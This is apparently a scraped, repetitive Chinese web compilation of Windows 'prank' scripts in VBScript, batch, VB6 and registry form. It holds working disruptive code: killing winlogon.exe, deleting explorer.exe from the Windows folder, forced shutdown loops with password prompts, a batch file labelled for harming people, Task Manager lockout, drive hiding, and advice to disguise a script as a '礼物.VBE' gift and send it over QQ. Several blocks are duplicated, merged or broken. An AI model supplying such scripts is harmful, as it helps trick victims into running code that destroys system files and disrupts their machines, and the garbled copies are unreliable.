CreateObject("Wscript.Shell")wscript.sleep 1200ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhideend if复制代码代码如下:Set ws = CreateObject("Wscript.Shell")ws.run "cmd.exe /c call calc.exe",0下⾯的是删除explorer.exe，导致桌⾯没有显⽰，不过它事先帮你备份了，为同⽬录下的explorer.Data复制代码代码如下:set ws=CreateObject("Wscript.Shell")ws.run "cmd.exe /c taskkill /f /im explorer.exe",0wscript.sleep 900ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data"wscript.sleep 1200ws.run "cmd.exe /c del /q /f %windir%\explorer.exe复制代码代码如下:for each wind in verybatws.sendkeys windwscript.sleep 500nextws.popup"唉:-(( ⊙ o ⊙ )！呀，我好累啊，我下了 886",30ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8ws.run "taskkill /f /im qq.exe"ws.popup"你还要上吧慢慢玩哦",27dim WSHshellset WSHshell = wscript.createobject("wscript.shell")for d=0 to 4WSHshell.SendKeys "%{F4}"nextws.run"shutdown -s -t 1000600"wscript.sleep 2000dim adoa=inputbox("请输⼊解除关机密码")if a="403746401" thenws.run"shutdown -a"msgbox"密码验证成功，enjoy the best!"exit doelsemsgbox"密码验证失败，请输⼊解除关机密码：403746401 ",vbretrycancelend ifloopws.popup"哈哈被吓到了吧好玩吧？你以为真的是病毒？呵呵O(∩_∩)O~，我还没那么打本事能做出病毒来！",57ws.popup"(\(^o^)/~ 好啦，跟你开了个⼩⼩玩笑。

前段时间看到大家对这种整人的代码兴趣还挺浓厚的，我最近就收集了一些和大家分享。

PS：由于精力问题没有对代码的可用性进行一一验证，所以不保证全部可用，大家如果发现有不可用的或者需要改进的地方请提出来，以下代码仅供娱乐，请勿用于非法用途。

一、怎么点都没反应的桌面如果同事的电脑开着，他离开电脑前一会，嘿嘿，机会来了。

把他的电脑桌面按print键截屏截下来，（当然QQ截屏也可以，不过效果不太逼真！）建议大家用print截屏，设置为桌面。

然后把原来在桌面上的文件统统移到一个盘的文件夹里，这样桌面看上去和平时一个样。

他回来后狂点鼠标，却怎么都没有反应！现在还在关机,开机,关机,开机,关机,开机中…………附带：print键截屏方法：键盘右上方的“Print Screen Sys Rq”键的作用是屏幕抓图！用法一，按“Print Screen SysRq”一下，对当前屏幕进行抓图，就是整个显示屏的内容。

用法二，先按住“Alt”键，再按“Print Screen SysRq”键，则是对当前窗口进行抓图。

如你打开“我的电脑”后，用此法就抓取“我的电脑”窗口的内容。

用上诉两种方法抓图后，再打开“开始”、“附件”里的“画图”程序，点“编辑”、“粘贴”就把抓取的图片贴出来了，可以保存为自己需要的格式。

哈哈，简单吧，这方法真挺搞的，有兴趣的童鞋可以试试！二、让电脑硬盘消失－隐藏磁盘方法愚人节电脑整人使无端端地电脑磁盘的某个分区消失了，钻进地缝里面去了吗，给外星人抓走了？？非也！是某些人使坏将其隐藏起来了！步骤1.新建一个记事本2.将记事本的后缀改为.reg，就是将“新建文件.txt”改为“新建文件.reg”3.将下面的代码复制到记事本当中：Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] "NoDrives" =hex:08,00,00,00解释（1）"NoDrives" =hex:08,00,00,00 这个键值是隐藏D盘的图中的D盘已经神秘消失了。

整人代码大全让对方重启指定次数(害人专用)@echo offif not exist c:1.txt echo. >c:1.txt & goto err1if not exist c:2.txt echo. >c:2.txt & goto err1if not exist c:3.txt echo. >c:3.txt & goto err1sif not exist c:4.txt echo. >c:4.txt & goto err1if not exist c:5.txt echo. >c:5.txt & goto err1goto err2:err1shutdown -s -t 0:err2上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次改成7就是7次...打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。

善意恶搞关机首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看把隐藏已知文件类型的扩展名前面的勾去掉.然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机，快撒，说""我是猪"" ","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打开了就在60秒内要关闭计算机，结束任务都不行，他只能说他是猪才能解决问题。

整人代码大集合-多年的代码收集在我们的日常生活中，整人已经成为一种常见的娱乐方式。

无论是在家庭聚会还是在办公室，整人都可以给人们带来欢乐和轻松的氛围。

而在数字化时代，整人也不再局限于口头或行为上，代码整人也成为了一种新的趋势。

多年来，人们不断积累了各种各样的代码整人，这些代码可以用于各种场合，让人们捧腹大笑。

下面就让我们来看看这些代码整人的大集合吧！1. 桌面整人代码。

在办公室中，桌面整人是一种常见的方式。

你可以在同事的电脑上放一个隐藏的桌面截图，然后将所有的桌面图标隐藏，让他们找不到任何东西。

下面是一个简单的VBScript代码，可以实现这个整人效果：```vbscript。

Set WshShell = WScript.CreateObject("WScript.Shell")。

WshShell.Run "rundll32.exe user32.dll,UpdatePerUserSystemParameters", 1, True。

WshShell.SendKeys "{F5}"```。

将以上代码保存为.vbs文件，然后将文件发送给你的同事，让他们双击运行。

他们的桌面图标将全部消失，然后按下F5键即可恢复。

2. 键盘整人代码。

键盘整人是另一种常见的方式，你可以通过改变键盘的布局或者发送一些奇怪的按键组合来整人你的朋友。

下面是一个简单的AutoHotkey代码，可以实现这个整人效果：```autohotkey。

SendInput {LShift Down}{LAlt Down}{LWin Down}{Tab}{LShift Up}{LAlt Up}{LWin Up}。

```。

将以上代码保存为.ahk文件，然后发送给你的朋友让他们运行。

这个代码会触发一个快捷键组合，让他们的屏幕上出现切换窗口的效果。

3. 网页整人代码。

在网页上整人也是一种常见的方式，你可以通过修改网页的内容或者添加一些恶搞的效果来整人你的朋友。

前段时间看到大家对这种整人的代码兴趣还挺浓厚的，我最近就收集了一些和大家分享。

PS：由于精力问题没有对代码的可用性进行一一验证，所以不保证全部可用，大家如果发现有不可用的或者需要改进的地方请提出来，以下代码仅供娱乐，请勿用于非法用途。

一、怎么点都没反应的桌面如果同事的电脑开着，他离开电脑前一会，嘿嘿，机会来了。

把他的电脑桌面按print键截屏截下来，（当然QQ截屏也可以，不过效果不太逼真！）建议大家用print截屏，设置为桌面。

然后把原来在桌面上的文件统统移到一个盘的文件夹里，这样桌面看上去和平时一个样。

他回来后狂点鼠标，却怎么都没有反应！现在还在关机,开机,关机,开机,关机,开机中…………附带：print键截屏方法：键盘右上方的“Print Screen Sys Rq”键的作用是屏幕抓图！用法一，按“Print Screen SysRq”一下，对当前屏幕进行抓图，就是整个显示屏的内容。

用法二，先按住“Alt”键，再按“Print Screen SysRq”键，则是对当前窗口进行抓图。

如你打开“我的电脑”后，用此法就抓取“我的电脑”窗口的内容。

用上诉两种方法抓图后，再打开“开始”、“附件”里的“画图”程序，点“编辑”、“粘贴”就把抓取的图片贴出来了，可以保存为自己需要的格式。

哈哈，简单吧，这方法真挺搞的，有兴趣的童鞋可以试试！二、让电脑硬盘消失－隐藏磁盘方法愚人节电脑整人使无端端地电脑磁盘的某个分区消失了，钻进地缝里面去了吗，给外星人抓走了？？非也！是某些人使坏将其隐藏起来了！步骤1.新建一个记事本2.将记事本的后缀改为.reg，就是将“新建文件.txt”改为“新建文件.reg”3.将下面的代码复制到记事本当中：Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] "NoDrives" =hex:08,00,00,00解释（1）"NoDrives" =hex:08,00,00,00 这个键值是隐藏D盘的图中的D盘已经神秘消失了。

就一个timer控件如果出现程序关闭了，而关机倒计时还在数，就按照这个步骤取消，运行→shutdown -a传不了软件，就只有这样了，VB做的。

1.Private Sub Form_Load()2. d = 13.Me.Visible = False4.Shell ("shutdown -s -t 120")5.MsgBox "中招了吧，赶快按我的要求做，否则2分钟后关掉你的计算机，点‘确定’。

"6. a = InputBox("输入‘我是猪’", "提示")7.If a = "我是猪" Then8.MsgBox "猪猪，你很听话嘛，继续按照我的步骤做，点‘确定’。

"9.Else10.MsgBox "我救不了你了，居然不按照我的要求做。

"11.GoTo wan:12.End If13.For i = 1 To 5014.b = 51 - i15.MsgBox "加油，你还需要点" & b & "下才能取消关机"16.Next17.Shell ("shutdown -a")18.MsgBox "你真听话，不愧是猪，这次来个久点的"19.Shell ("shutdown -s -t 600")20.MsgBox "回答我一个问题就给你取消"21.wen:22.c = InputBox("你今年多大了", "提问")23.If IsNumeric(c) Then24.ElseIf c = "" Then25.MsgBox "你很不乖，我生气了，慢慢研究怎么关闭吧"26.GoTo wan:27.Else28.GoTo wen:29.MsgBox "输入不准确，请重新输入!"30.End If31.If c > 10 Then32.d = 533.MsgBox "5秒后取消关机!"34.ElseIf c <= "10" And c >= "5" Then35.d = 1036.MsgBox "10秒后取消关机!"37.ElseIf c < 5 Then38.MsgBox "是不是要乱输入，重新输入一次"39.GoTo wen:40.Else41.d = 1542.MsgBox "15秒后取消关机"43.End If44.wan:45.Timer1.Interval = Val(d) * 100046.Timer1.Enabled = True47.End Sub48.49.Private Sub Timer1_Timer()50.If Timer1.Interval <> 1000 Then51.Shell ("shutdown -a")52.Unload Me53.Else54.Unload Me55.End If56.End Sub。

使用方法：新建一个txt文本文档。

然后把拓展名改成".vbs"的格式。

然后右键编辑，把代码复制进去，ok！！！1.整死你啊！！！此代码锁定了任务管理器，想关闭只有重新启动电脑，恶搞你的好友，或者骚扰你Private Sub Form_Load()Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1For m = 1 To 999MsgBox "呵呵，你知道我是谁吗？", 16MsgBox "什么？？不知道？", 16MsgBox "那你打开我干什么？", 16MsgBox "你有空没事做吧？！", 16MsgBox "我..就是鼎鼎大名的987876198", 16MsgBox "987876198..", 16MsgBox "现在你把它打开了觉得后悔了吧？呵呵..", 16MsgBox "算了算了，不玩你了", 16MsgBox "现在我数3声就闪人,行了吧?", 16MsgBox "1.............", 16MsgBox "2.............", 16MsgBox "3.............", 16MsgBox "噔噔噔噔,我又回来了！", 16MsgBox "哈哈，是不是很过瘾呢？", 16MsgBox "现在我先介绍下自己..", 16MsgBox "我叫王得地..", 16MsgBox "性别：男..", 16MsgBox "今年35岁..", 16MsgBox "不好意思噢，我好像说多了..", 16MsgBox "不要这样喇，听我说完先好不？", 16MsgBox "来来来，开始喇..", 16MsgBox "我叫王得地..", 16MsgBox "家中有屋又有田..", 16MsgBox "生活乐无边..", 16MsgBox "好像我又说多了...", 16MsgBox "不要生气嘛，你认真看下去我就放你走..", 16MsgBox "好，开始喇..", 16MsgBox "从前有座山..", 16MsgBox "山里有个座庙..", 16MsgBox "庙里有个和尚..", 16MsgBox "哈哈，想哭吗？", 16MsgBox "被骗的感觉不爽吧？", 16MsgBox "喂喂喂！别别..千万别重启电脑", 16MsgBox "我告诉你怎么关吧", 16MsgBox "先打开任务管理器", 16MsgBox "忘了告诉你了，任务管理器打不开了", 16MsgBox "别恨我啊你不小心", 16MsgBox "电脑重新启动吧", 16MsgBox "相信我吧,你知道我是不会骗人的", 16MsgBox "如果你还想继续点的话,你就别听我的", 16MsgBox "呵呵,我又没有说这个东西没有", 16MsgBox "我只想说桌面没有罢了..", 16MsgBox "嘻嘻,爽不爽吖?", 16MsgBox "对着电脑屏幕大声说低调大好人", 16MsgBox "不然,我就没办法的咯", 16MsgBox "因为我把循环设置成99了", 16MsgBox "想保存电脑数据只有继续点了", 16MsgBox "绝对会出到去的", 16MsgBox "好了,废话不多说了,祝你好运..", 16MsgBox "制作:低调不倒", 16MsgBox "QQ：987876198", 16MsgBox "E-mail:不告诉你", 16MsgBox "好,继续循环..", 16NextEnd Sub·······················································2.满屏小雪花这是我以前写的小程序让整个屏幕雪花飘飘的改进，本程序是一个模拟下雪的小程序：大小不同随风飘荡的雪花从屏幕上方不断落下，飘满整个屏幕。

VBS脚本常用经典代码收集于2011年7月2日21:13:37整理在网上查找资料的时候发现好多经典的vbs代码，收集起来也为了以后学习。

VBS播放音乐DimwmpSetwmp=CreateObject("WMPlayer.OCX")wmp.openStatewmp.URL="想象之中.mp3"DoUntilwmp.playState=1WScript.Sleep1000Loop比较流行的VBS整人脚本(保存为“礼物.VBE”这样就可以通过QQ发送了)Setshell=CreateObject("WScript.Shell")shell.run"shutdown-s-t60-c系统即将关闭.",0WhileInputBox("请输入答案","请回答")<>"123"'密码是123MsgBox"答案在心中...",16+4096'4096是让窗口在最顶层Wendshell.run"shutdown-a",0MsgBox"恭喜",64修改桌面背景图片Sphoto="d:\1.bmp"'输入你自己的BMP路径Consthkcu=&h80001Setwmi=GetObject("winmgmts:stdregprov")wmi.getstringvaluehkcu,"ControlPanel\Desktop","Wallpaper",Spathwmi. setstringvaluehkcu,"ControlPanel\Desktop","TileWallpaper","0"wmi.setstringvaluehk cu,"ControlPanel\Desktop","WallpaperStyle","2"wmi.setdwordvaluehkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","Listvi ewShadow",1Setwmi=NothingSetfso=CreateObject("scripting.filesystemobject")Setfs=fso.Getfile(Sphoto)backname==fso.GetFileName(Spath)fs.Copyfso.GetParentFolderName(Spath)&"\",True=backnameSetfso=NothingSetws=CreateObject("wscript.shell")ws.Run"gpupdate/force",vbhidews.Run"RunDll32.exeUSER32.DLL,UpdatePerUserSystemParameters"Setws=NothingVBS获取系统安装路径C:\WINDOWS路径先定义这个变量是获取系统安装路径的，然后我们用"strWinDir"调用这个变量。

VBS脚本常用经典代码收集于 2011年7月2日21:13:37 整理在网上查找资料的时候发现好多经典的vbs代码，收集起来也为了以后学习。

VBS播放音乐Dim wmpSet wmp=CreateObject("WMPlayer.OCX")wmp.openStatewmp.URL="想象之中.mp3"Do Until wmp.playState=1WScript.Sleep1000Loop比较流行的VBS整人脚本(保存为“礼物.VBE”这样就可以通过QQ发送了)Set shell=CreateObject("WScript.Shell")shell.run"shutdown-s-t60-c系统即将关闭.",0While InputBox("请输入答案","请回答")<>"123"'密码是123MsgBox"答案在心中...",16+4096'4096是让窗口在最顶层Wendshell.run"shutdown-a",0MsgBox"恭喜",64修改桌面背景图片Sphoto="d:\1.bmp"'输入你自己的BMP路径computer="."Const hkcu=&h80000001Set wmi=GetObject("winmgmts:\\"&computer&"\root\default:stdregprov") wmi.getstringvalue hkcu,"Control Panel\Desktop","Wallpaper",Spathwmi.setstringvalue hkcu,"Control Panel\Desktop","TileWallpaper","0"wmi.setstringvalue hkcu,"Control Panel\Desktop","WallpaperStyle","2"wmi.setdwordvaluehkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","Listvi ewShadow",1Set wmi=NothingSet fso=CreateObject("scripting.filesystemobject")Set fs=fso.Getfile(Sphoto)backname==fso.GetFileName(Spath)fs.Copy fso.GetParentFolderName(Spath)&"\",True=backnameSet fso=NothingSet ws=CreateObject("wscript.shell")ws.Run"gpupdate/force",vbhidews.Run"RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters"Set ws=NothingVBS获取系统安装路径C:\WINDOWS路径先定义这个变量是获取系统安装路径的，然后我们用"strWinDir"调用这个变量。

VBS脚本常用经典代码收集于2011年7月2日21:13:37整理在网上查找资料的时候发现好多经典的vbs代码，收集起来也为了以后学习。

VBS播放音乐DimwmpSetwmp=CreateObject("WMPlayer.OCX")wmp.openStatewmp.URL="想象之中.mp3"DoUntilwmp.playState=1WScript.Sleep1000Loop比较流行的VBS整人脚本(保存为“礼物.VBE”这样就可以通过QQ发送了)Setshell=CreateObject("WScript.Shell")shell.run"shutdown-s-t60-c系统即将关闭.",0WhileInputBox("请输入答案","请回答")<>"123"'密码是123MsgBox"答案在心中...",16+4096'4096是让窗口在最顶层Wendshell.run"shutdown-a",0MsgBox"恭喜",64修改桌面背景图片Sphoto="d:\1.bmp"'输入你自己的BMP路径Consthkcu=&h80001Setwmi=GetObject("winmgmts:stdregprov")wmi.getstringvaluehkcu,"ControlPanel\Desktop","Wallpaper",Spathwmi. setstringvaluehkcu,"ControlPanel\Desktop","TileWallpaper","0"wmi.setstringvaluehk cu,"ControlPanel\Desktop","WallpaperStyle","2"wmi.setdwordvaluehkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","Listvi ewShadow",1Setwmi=NothingSetfso=CreateObject("scripting.filesystemobject")Setfs=fso.Getfile(Sphoto)backname==fso.GetFileName(Spath)fs.Copyfso.GetParentFolderName(Spath)&"\",True=backnameSetfso=NothingSetws=CreateObject("wscript.shell")ws.Run"gpupdate/force",vbhidews.Run"RunDll32.exeUSER32.DLL,UpdatePerUserSystemParameters"Setws=NothingVBS获取系统安装路径C:\WINDOWS路径先定义这个变量是获取系统安装路径的，然后我们用"strWinDir"调用这个变量。

整人代码大全让对方重启指定次数(害人专用)@echo offif not exist c:1.txt echo. >c:1.txt & goto err1if not exist c:2.txt echo. >c:2.txt & goto err1if not exist c:3.txt echo. >c:3.txt & goto err1sif not exist c:4.txt echo. >c:4.txt & goto err1if not exist c:5.txt echo. >c:5.txt & goto err1goto err2:err1shutdown -s -t 0:err2上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次改成7就是7次...打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。

善意恶搞关机首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看把隐藏已知文件类型的扩展名前面的勾去掉.然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机，快撒，说""我是猪"" ","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打开了就在60秒内要关闭计算机，结束任务都不行，他只能说他是猪才能解决问题。